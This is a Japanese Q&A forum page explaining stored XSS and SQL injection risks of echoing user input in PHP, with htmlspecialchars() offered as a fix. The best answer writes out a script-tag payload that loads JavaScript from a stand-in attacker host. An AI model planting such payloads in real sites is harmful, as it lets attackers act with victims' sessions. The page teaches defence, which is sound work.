No.2ベストアンサー
- 回答日時:
入力したデータをそのまま保存して、表示に使うとするよ。
自分の入力した名前を公開することができて、他の人が閲覧できるとするよ。
1) Aさんは akuinoaru-user.com サーバの / に akuinoaru.js を作ったよ。
2) Aさんが名前の欄に次の行を入力したよ。
<script type="text/javascript" src="http://akuinoaru-user.com/akuinoaru.js"></script>
3) Bさんが、質問者さんのサイトにログインしたよ。
4) Bさんが、Aさんの名前をみたよ。
5) すると、次の行がBさんのブラウザで実行されるよ。
<script type="text/javascript" src="http://akuinoaru-user.com/akuinoaru.js"></script>
これがどういうことかというと。
Bさんが質問者さんのサイトにログイン中にしか表示されないはずの情報が、Aさんは見ることができるよ。
Bさんが質問者さんのサイトにログイン中にしかできないはずの操作が、Aさんにできてしまうよ。
これが XSS の脆弱性。
もちろん、サイトの管理者さんがログイン中にAさんの名前をみたら、
サイトの管理者さんしか見ることができない情報をAさんはみることができて、
サイトの管理者さんしかできないはずの操作をAさんができることになるよ。
怖いね。
対策例の一つだけど、
入力データを表示するときは htmlspecialchars(入力データ) を使うことだよ。
これで、Aさんの名前を表示しても akuinoaru.jp は実行されないで、次の行が名前として表示されるようになるよ。
<script type="text/javascript" src="http://akuinoaru-user.com/akuinoaru.js"></script>
XSS よりもっと怖いのが、入力データの表示ではなくて、ほかの目的で使うときだよ。
例えば、入力データを保存するために、データベースにデータを送るよね。
このときに SQL 文を作るけど、入力データをそのまま SQL 文に含めると「SQLインジェクション」の脆弱性の出来上がり!
これは、PHP が使うデータベースのユーザ権限でできるデータベース操作を、誰でも、いつでも、何でも、自由にできてしまう脆弱性だよ。
恐ろしいね。
つまり、ユーザが入力したデータを使って何かを処理するときは、データにどのような文字列が入っていたとしても、その処理に合わせて、データを加工してから使うようにしなければ、脆弱性になるということだよ。
データ表示のときは htmlspecialchars() をつかったけど、ほかの処理はそれぞれ加工の仕方が変わるから、どんなときでもこれをすれば大丈夫という便利なものは無いんだ。
精進あるのみだね。
No.1
- 回答日時:
確認ページだけの問題なら対したことは無いかもしれませんが、その後で入力されたデータを元に処理を行う場合、注意が必要です。
処理の内容によっては、サーバ内で関係ないプログラムを実行されたり、データベースの内容を改竄したり、別人の情報を閲覧させたりと、いろいろな問題の原因になってしまいます。
まずはIPAの資料なりを一読されるのがいいでしょう。(参考URLをご参照下さい)
参考URL:http://www.ipa.go.jp/security/vuln/websecurity.h …
お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!
似たような質問が見つかりました
- JavaScript Javascriptが機能せず原因が分からないので教えて頂きたいです 3 2023/06/04 14:50
- JavaScript 入力フォームの javascript で メールアドレスの正規チェックをを行い、ボタンをクリックして 2 2022/04/27 16:06
- PHP 入力した部分を表示させたまま(保持)するにはどうすれば良いでしょうか? 1 2023/01/25 11:14
- PHP PHP MySql ページング 2 2022/09/20 06:38
- JavaScript ①入力フォーム→②確認表示画面→③送信完了画面のコードを書いているのです、 入力フォームから受け取っ 2 2022/05/10 16:45
- PHP htmlで複数の個数入力欄を表示させるには 1 2022/09/20 03:11
- JavaScript ラジオボタンによるフォームの開閉を行いたい 3 2022/03/31 21:30
- Excel(エクセル) Excel ドロップダウンリスト(入力規則)に関してです データの入力規則で元データ79000行のド 3 2023/07/17 10:06
- PHP 文字列を段落で分ける方法を教えて下さい。 2 2023/03/09 10:03
- HTML・CSS ボタンをクリックした時に、入力フォームのすぐ下部に、「入力欄が空白です」というテキストメッセージが表 1 2022/04/27 16:25
関連するカテゴリからQ&Aを探す
デイリーランキングこのカテゴリの人気デイリーQ&Aランキング
-
JavaScriptとACCESSデータベー...
-
VB.NET DataReaderが開かれている
-
DBNULLについて
-
「XML over HTTP」「非同期HTTP...
-
ruby on railsでDataBaseのデー...
-
Java-jspの画面入力値保持について
-
「<c:forEach タグが終了し...
-
フォーム上で押されたボタンに...
-
リクエストに応じたselectedの...
-
jspからServletを呼び、元のjsp...
-
webアプリを作ってます。エラー...
-
ボタンが活性化の場合とは、ボ...
-
javascriptでセッションを取得
-
三菱GOTの画面切り替えについて
-
javaでDBから取得したデータのJ...
-
strutsで、JSP→アクションクラ...
-
C言語で今まで表示していた画面...
-
FormのsubmitでFormの内容がnull
-
ServletからServletへの値渡し
-
登録済みイベントリスナーの情...
マンスリーランキングこのカテゴリの人気マンスリーQ&Aランキング
-
VB.NET DataReaderが開かれている
-
Formのデータが欠落することがある
-
dbからデータをとりだす際、sql...
-
JavaScriptとACCESSデータベー...
-
DBNULLについて
-
C言語からデータベースにアクセス
-
struts 2つの選択肢(selec...
-
ruby on railsでDataBaseのデー...
-
「XML over HTTP」「非同期HTTP...
-
login,logoutのできるページ
-
フォーム上で押されたボタンに...
-
リクエストに応じたselectedの...
-
jspからServletを呼び、元のjsp...
-
Java-jspの画面入力値保持について
-
「<c:forEach タグが終了し...
-
三菱GOTの画面切り替えについて
-
C言語で今まで表示していた画面...
-
腕時計の時報をならないように...
-
webアプリを作ってます。エラー...
-
ボタンが活性化の場合とは、ボ...
おすすめ情報